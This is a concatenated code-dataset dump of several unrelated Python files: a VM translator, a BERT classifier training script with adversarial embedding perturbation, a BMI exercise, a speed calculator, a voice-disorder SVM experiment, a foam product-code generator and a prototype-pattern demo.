open(vm_file)\n parser = Parser(file)\n file.close()\n writer.set_file_name(vm_file)\n while parser.has_more_commands():\n parser.advance()\n command = parser.command_type()\n if command == parser.C_ARITHMETIC:\n writer.write_arithmetic(parser.arg1())\n elif command == parser.C_POP or command == parser.C_PUSH:\n writer.write_push_pop(command, parser.arg1(), parser.arg2())\n else:\n raise Exception(\"not supported command \" + command)\n\n\n# if the path is directory, all .vm file in this directory is translated to\n# assembly code in one file. If the path is a .vm file, simply translates to assembly file\ndef generate_assembly_code(path):\n if os.path.isdir(path):\n writer = CodeWriter(path + \"\\\\\" + os.path.basename(path) + \".asm\")\n for files in os.listdir(path):\n if files.find(\".vm\") != -1:\n write_from_vm_file(path + \"\\\\\" + files, writer)\n writer.close()\n elif path.find(\".vm\") != -1:\n writer = CodeWriter(path[:path.find(\".vm\")] + \".asm\")\n write_from_vm_file(path, writer)\n writer.close()\n else:\n raise Exception(\"can't generate assembly code\")\n print(\"finished successfully\")\n\n\n# main program, generates assembly code.\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n raise Exception(\"Not valid argument number\")\n try:\n generate_assembly_code(sys.argv[1])\n except Exception as e:\n print(e)\n","sub_path":"projects/07/VirtualMachine.py","file_name":"VirtualMachine.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"532152151","text":"\"\"\"\n@Time : 2020/12/1110:44\n@Auth : 周俊贤\n@File :run.py\n@DESCRIPTION:\n\n\"\"\"\nimport copy\nimport json\nimport time\n\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom dataset.dataset import CLSDataset\nfrom utils.adversarial import FGM\nfrom utils.collate_fn import sup_collate_fn\nfrom utils.logger import init_logger, logger\nfrom utils.finetuning_argparse import get_argparse\nfrom utils.progressbar import ProgressBar\nfrom utils.seed_everything import seed_everything\n\nfrom transformers import BertTokenizer, BertModel, BertConfig, AdamW\nfrom models.model import CLS_model\nfrom sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score\n\ndef train(args, dataset, model, device):\n train_iter = DataLoader(\n dataset,\n batch_size=args.per_gpu_train_batch_size,\n shuffle=True,\n collate_fn=sup_collate_fn)\n\n # 优化器\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n bert_param_optimizer = list(model.bert.named_parameters())\n linear_param_optimizer = list(model.fc1.named_parameters())\n linear_param_optimizer.extend(list(model.fc2.named_parameters()))\n optimizer_grouped_parameters = [\n {'params': [p for n, p in bert_param_optimizer if not any(nd in n for nd in no_decay)],\n 'weight_decay': args.weight_decay,\n 'lr': args.learning_rate},\n {'params': [p for n, p in bert_param_optimizer if any(nd in n for nd in no_decay)],\n 'weight_decay': 0.0,\n 'lr': args.learning_rate},\n {'params': [p for n, p in linear_param_optimizer if not any(nd in n for nd in no_decay)],\n 'weight_decay': args.weight_decay,\n 'lr': args.linear_learning_rate},\n {'params': [p for n, p in linear_param_optimizer if any(nd in n for nd in no_decay)],\n 'weight_decay': 0.0,\n 'lr': args.linear_learning_rate},\n ]\n optimizer = AdamW(optimizer_grouped_parameters,\n lr=args.learning_rate,\n eps=args.adam_epsilon)\n # 损失函数\n criterion = nn.CrossEntropyLoss().to(device)\n # 迭代训练\n model.train()\n #\n best_f1 = 0\n early_stop = 0\n # Train!\n logger.info(\"***** Running train %s *****\")\n fgm = FGM(model,epsilon=1,emb_name='word_embeddings.weight')\n for epoch, _ in enumerate(range(int(args.num_train_epochs))):\n batch_loss = 0\n pbar = ProgressBar(n_total=len(train_iter), desc='Training')\n print(\"****\" * 20)\n logger.info(\" Begin {}-epoch! \".format(epoch))\n for step, batch in enumerate(train_iter):\n\n for key in batch.keys():\n batch[key] = batch[key].to(device)\n\n predictions = model(\n input_ids=batch['all_input_ids'],\n attention_mask=batch['all_attention_mask'],\n token_type_ids=batch['all_token_type_ids']\n )\n # 正常训练\n loss = criterion(predictions, batch['all_labels'])\n # print(nn.functional.softmax(predictions, dim=-1)[range(8), batch['all_labels']])\n loss.backward()\n # 对抗训练\n fgm.attack() # 在embedding上添加对抗扰动\n predictions_adv = model(\n input_ids=batch['all_input_ids'],\n attention_mask=batch['all_attention_mask'],\n token_type_ids=batch['all_token_type_ids']\n )\n loss_adv = criterion(predictions_adv, batch['all_labels'])\n loss_adv.backward() # 反向传播,并在正常的grad基础上,累加对抗训练的梯度\n fgm.restore() # 恢复embedding参数\n #\n batch_loss += loss.item()\n pbar(step, {'batch_loss': batch_loss / (step + 1)})\n # 梯度下降,更新参数\n optimizer.step()\n model.zero_grad()\n\n # 每轮epoch在验证集上计算分数\n eval_f1 = evaluate(args, model)\n if eval_f1 > best_f1:\n early_stop = 0\n best_f1 = eval_f1\n logger.info(\n \"the best f1 is {:.4f}, saving model !!\".format(best_f1))\n best_model = copy.deepcopy(\n model.module if hasattr(\n model, \"module\") else model)\n torch.save(\n best_model.state_dict(),\n os.path.join(\n args.output_dir,\n \"best_model.pkl\"))\n else:\n early_stop += 1\n if early_stop == args.early_stop:\n logger.info(\"Early stop in {} epoch!\".format(epoch))\n break\n # 每 save_epochs 步保持模型\n if args.save_epochs > 0 and epoch % args.save_epochs == 0:\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n model_to_save = (\n model.module if hasattr(\n model, \"module\") else model)\n torch.save(\n model_to_save.state_dict(),\n os.path.join(\n args.output_dir,\n \"epoch-{}.pkl\".format(epoch)))\n test_f1 = evaluate(args, best_model, type=\"test\")\n logger.info(\"Test F1 is {}!\".format(test_f1))\n\ndef evaluate(args, model, prefix=\"\", type=\"dev\"):\n if type == \"dev\":\n eval_dataset = CLSDataset(\n args,\n csv_path=\"./data/{}/dev.csv\".format(args.task),\n tokenizer=args.tokenizer,\n type=\"dev\")\n elif type == \"test\":\n eval_dataset = CLSDataset(\n args,\n csv_path=\"./data/{}/test.csv\".format(args.task),\n tokenizer=args.tokenizer,\n type=\"test\")\n\n eval_dataloader = DataLoader(\n eval_dataset,\n batch_size=args.per_gpu_eval_batch_size,\n shuffle=False,\n collate_fn=sup_collate_fn,\n )\n # Eval!\n logger.info(\"***** Running {} {} *****\".format(type, prefix))\n eval_loss = 0.0\n eval_steps = 0\n criterion = nn.CrossEntropyLoss().to(args.device)\n pbar = ProgressBar(n_total=len(eval_dataloader), desc=\"Evaluating\")\n\n pres, trues = [], []\n model.eval()\n for step, batch in enumerate(eval_dataloader):\n for key in batch.keys():\n batch[key] = batch[key].to(args.device)\n with torch.no_grad():\n predictions = model(\n input_ids=batch['all_input_ids'],\n attention_mask=batch['all_attention_mask'],\n token_type_ids=batch['all_token_type_ids']\n )\n loss = criterion(predictions, batch['all_labels'])\n eval_loss += loss.item()\n eval_steps += 1\n\n pbar(step)\n _, pre = torch.max(predictions, axis=1)\n pre = pre.cpu().numpy().tolist()\n true = batch['all_labels'].cpu().numpy().tolist()\n pres.extend(pre)\n trues.extend(true)\n\n score_f1 = f1_score(trues, pres, average=\"micro\")\n eval_loss = eval_loss / eval_steps\n logger.info(\"Micro F1:{:.4f}, Loss:{:.4f}\".format(score_f1, eval_loss))\n return score_f1\n\ndef main():\n args = get_argparse().parse_args()\n args.datapath = os.path.join(\"./data\", args.task)\n print(json.dumps(vars(args), sort_keys=True, indent=4, separators=(', ',': '), ensure_ascii=False))\n init_logger(log_file=\"./log/{}.log\".format(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())))\n seed_everything(args.seed)\n #\n args.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n # model\n model = CLS_model(args.model_name_or_path, 200, 15)\n model.to(args.device)\n #\n tokenizer = BertTokenizer.from_pretrained('/data/zhoujx/prev_trained_model/chinese_roberta_wwm_ext_pytorch')\n args.tokenizer = tokenizer\n #\n dataset = CLSDataset(\n args,\n csv_path=\"./data/{}/train.csv\".format(args.task),\n tokenizer=args.tokenizer,\n type=\"train\",\n is_augement=False)\n # 训练\n train(args, dataset, model, args.device)\n\nif __name__ == \"__main__\":\n main()","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":8015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"256673733","text":"\"\"\"\r\n043\r\nDesenvolva uma lógica que leia o peso e altura de uma pessoa, calcule seu IMC e mostre seu status\r\nabaixo de 18.5: abaixo do peso\r\nentre 18.5 e 25: peso ideal\r\nentre 25 e 30: sobrepeso\r\nentre 30 e 40: obsidade\r\nacima de 40: obesidade morbida\r\n\"\"\"\r\n\r\n\r\ntext = {\r\n \"fecha\":\"\\033[m\",\r\n \"branco\":\"\\033[30m\",\r\n \"vermelho\":\"\\033[31m\",\r\n \"verde\":\"\\033[32m\",\r\n \"amarelo\":\"\\033[33m\",\r\n \"azul\":\"\\033[34m\",\r\n \"roxo\": \"\\033[35m\",\r\n \"ciano\": \"\\033[36m\",\r\n \"cinza\": \"\\033[37m\",\r\n}\r\n\r\nback = {\r\n \"fecha\":\"\\033[m\",\r\n \"branco\":\"\\033[40m\",\r\n \"vermelho\":\"\\033[41m\",\r\n \"verde\":\"\\033[42m\",\r\n \"amarelo\":\"\\033[43m\",\r\n \"azul\":\"\\033[44m\",\r\n \"roxo\": \"\\033[45m\",\r\n \"ciano\": \"\\033[46m\",\r\n \"cinza\": \"\\033[47m\",\r\n}\r\n\r\nstyle = {\r\n \"fecha\":\"\\033[m\",\r\n \"negrito\":\"\\033[1\",\r\n \"italico\":\"\\033[4\",\r\n \"invertido\":\"\\033[7\",\r\n}\r\n\r\ncores = [\r\n \"\\033[30m\", #branco\r\n \"\\033[31m\", #vermelho\r\n \"\\033[32m\", #verde\r\n \"\\033[33m\", #amarelo\r\n \"\\033[34m\", #azul\r\n \"\\033[35m\", #roxo\r\n \"\\033[36m\", #ciano\r\n \"\\033[37m\", #cinza\r\n]\r\n\r\nfrom time import sleep\r\ndef imcValor (massa, altura):\r\n return massa/pow(altura, 2)\r\n\r\ndef imcQ (massa, altura):\r\n result = massa/pow(altura, 2)\r\n if result < 18.5:\r\n return 0\r\n elif result < 25:\r\n return 1\r\n elif result < 30:\r\n return 2\r\n elif result < 40:\r\n return 3\r\n return 4\r\n\r\nquadrosIMC = [\"Abaixo do peso\", \"Peso ideal\", \"Sobrepeso\", \"Obsidade\", \"Obsidade Morbida\"]\r\nalturas = [1.54, 1.84, 1.66, 1.72, 1.67, 1.70, 1.70]\r\nmassas = [48, 72.5, 80.4, 62.8, 70, 90.1, 41.2]\r\n\r\nfor i in range(len(alturas)):\r\n print(\"{} Possuindo {} kg e {} m\".format(i+1, massas[i], alturas[i]))\r\n print(\"{}{}\".format(text[\"roxo\"], \"-=-\" * 20))\r\n print(\"{}{:^60}\".format(text[\"roxo\"], \"ANALISANDO\"))\r\n print(\"{}{}{}\".format(text[\"roxo\"], \"-=-\" * 20, text[\"fecha\"]))\r\n sleep(1)\r\n comeco = cores[imcQ(massas[i], alturas[i])]\r\n print(\"{}{:.2f} ---> {}{}\".format(comeco, imcValor(massas[i], alturas[i]), quadrosIMC[imcQ(massas[i], alturas[i])], text[\"fecha\"]))\r\n print(\"\")\r\n #print(\"{:.2f} ---> {}\".format(imcValor(massas[i], alturas[i])))\r\n\r\n\r\n\r\n\r\n","sub_path":"Desafios/Aula 012/ex043.py","file_name":"ex043.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"245999474","text":"import pandas as pd\n\n\n\ndef speed_detect(name):\n speed=[6.94]\n df=pd.read_csv(name)\n print(len(df))\n l=len(df)\n i=1\n while i1:\n speed.append(6.94)\n\n else:\n time_total=(abs(int(hour)-int(hour_p)))*60+(abs(int(min)-int(min_p)))*60+abs((int(sec)-int(sec_p)))\n speed_ac=abs(float(dist_now)-float(dist_prev))/time_total\n speed.append(speed_ac)\n # print(\"a\")\n i+=1\n df['Speed']=speed\n print(len(speed))\n df.to_csv(name,index=False)\n\ndef main():\n name=[\"details_54feet_down.csv\",\"details_ukhra_down.csv\",\"details_8B_down.csv\",\"details_azone_down.csv\"]\n for i in name:\n speed_detect(i)\n\nmain()\n\n","sub_path":"down_codes/speed_detect_down.py","file_name":"speed_detect_down.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"631162236","text":"# ===============================================\n# Import Packages which needs to tune\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\n\n# ===============================================\n# Import Packages and Functions\nfrom keras import backend as K\nfrom matplotlib import pyplot as plt\nfrom splitData import splitData\nfrom evaluateSVM import evaluateSVM\nfrom keras.models import Model, load_model\nfrom randomEncoder import myEncoder\nfrom getCombination import getCombination\nfrom loadMelSpectrogram import loadMelSpectrogram\nfrom supportVectorMachine import mySVM\nfrom sklearn.model_selection import KFold\nimport numpy as np\nimport tensorflow as tf\nimport os\nimport math\nimport pickle\n\n\n# ===============================================\n# Stop the terminal printing garbage\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\n\n\n# ===============================================\n# GPU Setting\ngpu_taken = 0.4\ngpu_options = tf.GPUOptions(per_process_gpu_memory_fraction = gpu_taken)\nsess = tf.Session(config = tf.ConfigProto(gpu_options = gpu_options))\n\n\n# ===============================================\n# Environment\nparent_path = \"/home/hguan/Voice-Disorder-Diagnosis/Dataset-\"\nslash = \"/\"\n\n\n# ===============================================\n# Dsp Initialization, num_rows = num_MFCCs (not aggregated)\nfs = 16000\nfft_hop = 128\nnum_rows = 20\nfft_length = 512\nmel_length = 128\nsnippet_hop = 100\nsnippet_length = 500\nnum_time_frames = math.ceil(snippet_length / 1000 * fs / fft_hop)\n\n\n# ===============================================\n# Dataset Initialization, dataset = Spanish or KayPentax\nclasses = [\"Normal\", \"Pathol\"]\ninput_type = \"MFCCs\"\ndataset_name = \"KayPentax\"\ndataset_path = parent_path + dataset_name\ndata_file_name = \"MelSpectrogram_\" + str(snippet_length) + \"ms_\" + str(snippet_hop) + \"ms\" + \"_block\" + str(fft_length) + \"_hop\" + str(fft_hop) + \"_mel\" + str(mel_length)\naug_dict_file_name = \"Dictionary_\" + str(snippet_length) + \"ms_\" + str(snippet_hop) + \"ms\" \nunaug_dict_file_name = \"Dictionary_\" + str(snippet_length) + \"ms_\" + str(snippet_hop) + \"ms\" + \"_unaugmented\" \n\n\n# ===============================================\n# Training / Cross-Validation Initialization\nnum_folds = 5 \ntraining_percent = 90\ntrain_on_augmented = True\n\n\n# ===============================================\n# Randomencoder Architecture Initialization\nencoding_dimension = 32\nnum_encoding_layer = 5\nnum_decoding_layer = 5\ninput_vector_length = num_rows * math.ceil(snippet_length / 1000 * fs / fft_hop)\nRE_architecture_package = [input_vector_length, encoding_dimension, num_encoding_layer, num_decoding_layer]\n\n\n# ===============================================\n# SVM Initialization\nc_values = [0.1, 1, 10, 100]\nsvm_verbose = 0\nsvm_tolerance = 0.001\nsvm_max_iteration = 1000\nsvm_training_package = [c_values, svm_verbose, svm_tolerance, svm_max_iteration]\n\n\n# ===============================================\n# Result Representation Initialization\nfile_results = []\nsnippet_results = []\ntotal_file_con_mat = np.array([[0,0],[0,0]])\ntotal_snippet_con_mat = np.array([[0,0],[0,0]])\n\n\n# ===============================================\n# Loading Pickle\ntemp_file_1 = open(dataset_path + slash + data_file_name + \".pickle\", \"rb\") \ntemp_file_2 = open(dataset_path + slash + aug_dict_file_name + \".pickle\", \"rb\")\ntemp_file_3 = open(dataset_path + slash + unaug_dict_file_name + \".pickle\", \"rb\")\n\n\n# ===============================================\n# Loading data inside Pickles\naug_dict = pickle.load(temp_file_2)\nunaug_dict = pickle.load(temp_file_3)\nmelSpectrogram_data = pickle.load(temp_file_1)\n\n\n# ===============================================\nif train_on_augmented:\n train_dict = aug_dict\nelse:\n train_dict = unaug_dict\n\n\n# ===============================================\n# Load all combos from this dataset, combo = [Name, Class] example: [\"WADFJS\", \"Pathol\"]\nname_class_combo = np.asarray(getCombination(dataset_path, classes, slash))\n\n\n# ===============================================\nnormal_name_class_combo = [x for x in name_class_combo if (x[1] == \"Normal\")]\npathol_name_class_combo = [x for x in name_class_combo if (x[1] == \"Pathol\")]\n\n\n# ===============================================\nnormal_index_array = np.arange(len(normal_name_class_combo))\npathol_index_array = np.arange(len(normal_name_class_combo), len(name_class_combo))\n\n\n# ===============================================\nkf_spliter = KFold(n_splits = num_folds, shuffle = True)\n\n\n# ===============================================\nnormal_split = kf_spliter.split(normal_index_array)\npathol_split = kf_spliter.split(pathol_index_array)\n\n\n# ===============================================\n# Creat N-folds for normal files\nnormal_split_index = []\nfor training_validate_index, test_index in normal_split:\n normal_split_index.append([normal_index_array[training_validate_index], normal_index_array[test_index]])\n\n\n# ===============================================\n# Creat N-folds for pathol files\npathol_split_index = [] \nfor training_validate_index, test_index in pathol_split:\n pathol_split_index.append([pathol_index_array[training_validate_index], pathol_index_array[test_index]])\n\n\n# ===============================================\n# Start to do k-fold Cross Validation\nfor fold_index in range(num_folds):\n\n\n # ===============================================\n print(\"---> Now Working On Fold \", fold_index + 1, \" ----------------------------\")\n\n\n # ===============================================\n # For each class, get traininging_validation files and test file\n normal_training_validate_combo = name_class_combo[normal_split_index[fold_index][0]].tolist() \n pathol_training_validate_combo = name_class_combo[pathol_split_index[fold_index][0]].tolist() \n normal_test_combo = name_class_combo[normal_split_index[fold_index][1]].tolist() \n pathol_test_combo = name_class_combo[pathol_split_index[fold_index][1]].tolist() \n\n\n # ===============================================\n # For each class, split traininging data and validation data\n [normal_training_combo, normal_validate_combo, _] = splitData(normal_training_validate_combo, training_percent, 100 - training_percent, 0) \n [pathol_training_combo, pathol_validate_combo, _] = splitData(pathol_training_validate_combo, training_percent, 100 - training_percent, 0)\n \n\n # ===============================================\n # Combine traininging set, validation set, test set\n training_combo = normal_training_combo + pathol_training_combo\n validate_combo = normal_validate_combo + pathol_validate_combo\n test_combo = normal_test_combo + pathol_test_combo\n\n\n # ===============================================\n # Load all the snippet\"s melSpectrograms\n # Training set can use either augmented data or unaugmented data\n # Validation set and test set must use unaugmented data\n training_package = loadMelSpectrogram(training_combo, classes, num_rows, num_time_frames, input_type, melSpectrogram_data, train_on_augmented, train_dict) \n validate_package = loadMelSpectrogram(validate_combo, classes, num_rows, num_time_frames, input_type, melSpectrogram_data, False, unaug_dict) \n test_package = loadMelSpectrogram(test_combo, classes, num_rows, num_time_frames, input_type, melSpectrogram_data, False, unaug_dict)\n \n\n # ===============================================\n # When using this method, we need to use label type 3 which is \"Normal\" vs \"Pathol\"\n training_data, _, _, training_label_3, training_dist, _ = training_package\n validate_data, _, _, validate_label_3, validate_dist, validate_augment_amount = validate_package\n test_data, _, _, test_label_3, test_dist, test_augment_amount = test_package\n \n\n # ===============================================\n # Show how many files and snippets in each set\n print(training_dist)\n print(validate_dist)\n print(test_dist)\n \n\n # ===============================================\n # Normalization - allocating memory\n training_data_normalized = np.zeros((training_data.shape))\n validate_data_normalized = np.zeros((validate_data.shape))\n test_data_normalized = np.zeros((test_data.shape))\n\n\n # ===============================================\n # For each feature, we normalize the whole dataset \n for i in range(num_rows):\n\n\n # ===============================================\n # Sample Mean value and standard deviation is computed from the training and validation sets\n mean = np.mean(training_data[:, i, :].flatten().tolist() + validate_data[:, i, :].flatten().tolist())\n std = np.std(training_data[:, i, :].flatten().tolist() + validate_data[:, i, :].flatten().tolist())\n \n\n # ===============================================\n # Normalization\n training_data_normalized[:, i, :] = (training_data[:, i, :] - mean) / std\n validate_data_normalized[:, i, :] = (validate_data[:, i, :] - mean) / std\n test_data_normalized[:, i, :] = (test_data[:, i, :] - mean) / std\n \n\n # ===============================================\n # For test set, we need to handle values not in the range of [0,1]\n np.clip(test_data_normalized[:, i, :], 0, 1)\n\n\n # ===============================================\n # Reshape\n training_data_normalized = training_data_normalized.reshape((len(training_data_normalized), np.prod(training_data_normalized.shape[1:])), order = \"F\") \n validate_data_normalized = validate_data_normalized.reshape((len(validate_data_normalized), np.prod(validate_data_normalized.shape[1:])), order = \"F\")\n test_data_normalized = test_data_normalized.reshape((len(test_data_normalized), np.prod(test_data_normalized.shape[1:])), order = \"F\")\n \n\n # ===============================================\n # Produce an random encoder\n fold_encoder, encoding_layer_index = myEncoder(RE_architecture_package)\n \n\n # ===============================================\n # Now we want to know which hidden layer is the best\n # We creat a list of possible dimensions\n dimension_choices = [encoding_dimension * 2 ** x for x in range(num_encoding_layer + 1)]\n \n \n # ===============================================\n # Start to select the best dimension for this fold\n fold_best_file_acc = 0\n for dimension in dimension_choices:\n \n \n # ===============================================\n # Form a encoder from the trained autoencoder\n index = dimension_choices.index(dimension)\n cur_encoder = Model(inputs = fold_encoder.input, \n outputs = fold_encoder.layers[encoding_layer_index - index].output)\n \n \n # ===============================================\n # Get encoded training data and validate data \n training_data_encoded = cur_encoder.predict(training_data_normalized)\n validate_data_encoded = cur_encoder.predict(validate_data_normalized)\n \n\n # ===============================================\n # Train SVMs, search the best parameters\n cur_SVM = mySVM(training_data_encoded, training_label_3,\n validate_data_encoded, validate_label_3,\n svm_training_package, classes)\n\n\n # ===============================================\n # Check how good is this encoding dimension perform on the validation set\n cur_result_package = evaluateSVM(cur_SVM, validate_combo, \n validate_data_encoded, validate_label_3, \n validate_augment_amount, classes)\n \n \n # ===============================================\n cur_file_acc, _, _, _, = cur_result_package\n \n \n # ===============================================\n # if current result is good enough on the validation set\n # Then we keep current encoder + SVM as our best model combination\n if cur_file_acc > fold_best_file_acc:\n fold_best_SVM = cur_SVM\n fold_best_encoder = cur_encoder\n fold_best_file_acc = cur_file_acc\n fold_best_dimension = dimension\n\n\n # ===============================================\n # Print dimension searching result\n print(\"For this fold, the best encoder's dimension is: \", fold_best_dimension)\n\n \n # ===============================================\n # Prepare test set\n test_data_encoded = fold_best_encoder.predict(test_data_normalized) \n \n \n # ===============================================\n # Test our best model combination\n fold_result_package = evaluateSVM(fold_best_SVM, test_combo, \n test_data_encoded, test_label_3, \n test_augment_amount, classes)\n \n \n # ===============================================\n # Unpack the evaluation result\n fold_file_acc, fold_file_con_mat, fold_snippet_acc, fold_snippet_con_mat = fold_result_package\n \n \n # ===============================================\n # Print the result for this fold\n print(\"The file macro accuracy for this fold is: \", fold_file_acc)\n print(\"The snippet macro accuracy for this fold is: \", fold_snippet_acc)\n print(\"File confusion matrix for this fold is:\")\n print(fold_file_con_mat)\n print(\"Snippet confusion matrix for this fold is:\")\n print(fold_snippet_con_mat)\n\n\n # ===============================================\n # Update overall results\n file_results.append(fold_file_acc)\n snippet_results.append(fold_snippet_acc)\n\n\n # ===============================================\n # Update overall confusion matrix\n total_file_con_mat = total_file_con_mat + fold_file_con_mat\n total_snippet_con_mat = total_snippet_con_mat + fold_snippet_con_mat\n \n \n # ===============================================\n # Clean almost everything for last fold, otherwise computer might crash\n K.clear_session()\n tf.reset_default_graph()\n\n\n# ===============================================\n# Show Final Results after cross-validation\n# Classification Accuracy for each fold (file level)\nprint(\"--------------------------------\")\nprint(\"file results\")\nprint(file_results)\nprint(sum(file_results) / len(file_results))\n\n\n# ===============================================\n# Show Final Results after cross-validation\n# Classification Accuracy for each fold (snippet level)\nprint(\"--------------------------------\")\nprint(\"snippet results\")\nprint(snippet_results)\nprint(sum(snippet_results) / len(snippet_results))\n\n\n# ===============================================\n# Macro Accuracy for the whole experiment (file level)\nprint(\"--------------------------------\")\nprint(\"final file results\")\nprint(total_file_con_mat)\n\n\n# ===============================================\nfile_overall_acc = 0;\nfor i in range(len(total_file_con_mat[0])):\n file_overall_acc = file_overall_acc + total_file_con_mat[i][i] / sum(total_file_con_mat[i])\nprint(file_overall_acc / len(classes))\n\n\n# ===============================================\n# Macro Accuracy for the whole experiment (snippet level)\nprint(\"--------------------------------\")\nprint(\"final snippet results\")\nprint(total_snippet_con_mat)\n\n\n# ===============================================\nsnippet_overall_acc = 0;\nfor i in range(len(total_snippet_con_mat[0])):\n snippet_overall_acc = snippet_overall_acc + total_snippet_con_mat[i][i] / sum(total_snippet_con_mat[i])\nprint(snippet_overall_acc / len(classes)) ","sub_path":"RandomEncoder_Approach/Main_one_dataset_experiment.py","file_name":"Main_one_dataset_experiment.py","file_ext":"py","file_size_in_byte":16209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"323105276","text":"#!/usr/bin/python\n# -*- coding: Windows-1250 -*-\n\nclass Arkusz:\n def __init__(self, len, wid, col):\n self.len = len # 800\n self.wid = wid\n self.col = col\n\n def lenght(self):\n #self.len = 1200 - treba przekazać 120\n leng = self.len\n return leng\n\n def width(self):\n widt = self.wid[:3]\n return widt\n\n def color(self):\n clr = self.col\n return clr\n\nclass ArkuszPiany(Arkusz):\n def __init__(self, len, wid, col, thick, dens, anti):\n super().__init__(len, wid, col)\n self.thick = thick\n self.dens = dens\n self.anti = anti\n\n def thickness(self):\n thi = self.thick\n if thi in range(1,99): return str(thi)\n else: return 0\n\n def density(self):\n dnst = self.dens\n densList = (16, 22, 24, 27, 35, 65, 100)\n if int(dnst) in densList: return dnst\n else: return 0\n\n def antistatic(self):\n ast = self.anti\n if ast.lower() == 't': return True\n else: return False\n\nclass ArkuszPianyPE(ArkuszPiany):\n def __init__(self, len, wid, col, thick, dens, anti, nopa, rec, skin):\n super().__init__(len, wid, col, thick, dens, anti)\n self.nopa = nopa\n self.rec = rec\n self.skin = skin\n\n def nopaplank(self):\n np = self.nopa\n if np.lower() == 't': return True\n else: return False\n\n def recycle(self):\n rc = self.rec\n return rc\n\n def with_skin(self):\n skn = self.skin\n if skn.lower() == 't': return True\n else: return False\n\ndef dens_letter(dens):\n if dens == '16': return 'D', str(dens) + 'kg/m3'\n elif dens == '22': return 'F', str(dens) + 'kg/m3'\n elif dens == '24': return 'L', str(dens) + 'kg/m3'\n elif dens == '27': return 'S', str(dens) + 'kg/m3'\n elif dens == '35': return 'M', str(dens) + 'kg/m3'\n elif dens == '65': return 'H', str(dens) + 'kg/m3'\n elif dens == '100': return 'U', str(dens) + 'kg/m3'\n\ndef color_letter(clr):\n if clr.lower() == 'b': return 'W', 'Biała'\n elif clr == 'P': return 'P', 'Różowa antystatyczna'\n elif clr == 'O': return 'O', 'Pomarańczowa antystatyczna'\n elif clr.lower() == 'c': return 'B', 'Czarna'\n\ndef skin_letter(skn):\n if skn == True: return 'S', 'Ze skórą'\n else: return 'A', ''\n\ndef nopa_letter(nop):\n if nop == True: return 'N', 'NOPAPLANK'\n else: return 'L', 'Laminat'\n\nrodzaj = ''\nwhile rodzaj.lower() != 'exit':\n rodzaj = input(\"Nowy kod dla Piany czy Tektury? [P/T]\")\n\n if rodzaj.lower() == 'p':\n lenght = input(\"Podaj długość: \")\n width = input(\"Podaj szerokość: \")\n typ = input(\"Jaki rodzaj piany? [PE/PU]: \")\n thickness = int(input(\"Podaj grubość: \"))\n density = input(\"Podaj gęstość: [16/22/24/27/35/65/100]\")\n anti = input(\"Czy antystatyczna? [T/N] \")\n if anti.lower() == 't':\n color = 'P'\n else:\n color = input(\"Kolor piany: [Biały/Czarny] \")\n\n if typ.lower() == 'pe':\n nopa = input(\"Czy Nopaplank? [T/N]: \")\n rc = input(\"Jaka zawartosc recyklinu? [%]: \")\n skin = input(\"Czy piana ze skórką? [T/N]: \")\n arkusz = ArkuszPianyPE(lenght, width, color, thickness, density, anti, nopa, rc, skin)\n\n kod = 'E' + dens_letter(arkusz.density())[0] + color_letter(arkusz.color())[0] + arkusz.lenght()[:3] + arkusz.width()\\\n + arkusz.thickness() + skin_letter(arkusz.with_skin())[0] + arkusz.recycle()[0] + nopa_letter(arkusz.nopaplank())[0]\n\n opis = 'Piana Polietylenowa, ' + dens_letter(arkusz.density())[1] + ', ' + color_letter(arkusz.color())[1] + ', ' + arkusz.lenght() + 'x'\\\n + arkusz.width()+ '0x' + arkusz.thickness() + ', ' + skin_letter(arkusz.with_skin())[1] + ', ' + arkusz.recycle() + '% recyklatu, '\\\n + nopa_letter(arkusz.nopaplank())[1]\n\n elif typ.lower() == 'pu':\n arkusz = ArkuszPiany(lenght, width, color, thickness, density, anti)\n if anti.lower() == 't':\n color = 'O'\n else:\n color = input(\"Kolor piany: [Biały/Czarny] \")\n\n kod = 'U' + dens_letter(arkusz.density())[0] + color_letter(arkusz.color())[0] + arkusz.lenght()[:3] + arkusz.width()\\\n + arkusz.thickness() + 'A0B' \n\n opis = 'Piana Poliuretanowa, ' + dens_letter(arkusz.density())[1] + ', ' + color_letter(arkusz.color())[1] + ', ' + arkusz.lenght() + 'x'\\\n + arkusz.width()+ '0x' + arkusz.thickness() + ', Blok'\n\n\n print(kod)\n print(opis)\n\n \n","sub_path":"codes.py","file_name":"codes.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"334746997","text":"# Prototype\nfrom copy import copy, deepcopy\n\n\nclass Person:\n def __init__(self, name, address):\n self.address = address\n self.name = name\n\n def __str__(self):\n return f'{self.name} lives in {self.address}'\n\n\nclass Address:\n def __init__(self, street, city, country):\n self.street = street\n self.city = city\n self.country = country\n\n def __str__(self):\n return f'{self.street}, {self.city}, {self.country}'\n\n\nif __name__ == '__main__':\n p1 = Person('Jahed', Address('Friedhofstrasse, 54', 'Offenbach', 'Germany'))\n p2 = deepcopy(p1)\n p2.name = 'Atefeh'\n p2.address.street = 'Friedhofstrasse 56'\n print(p1)\n print(p2)","sub_path":"Prototype/prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} 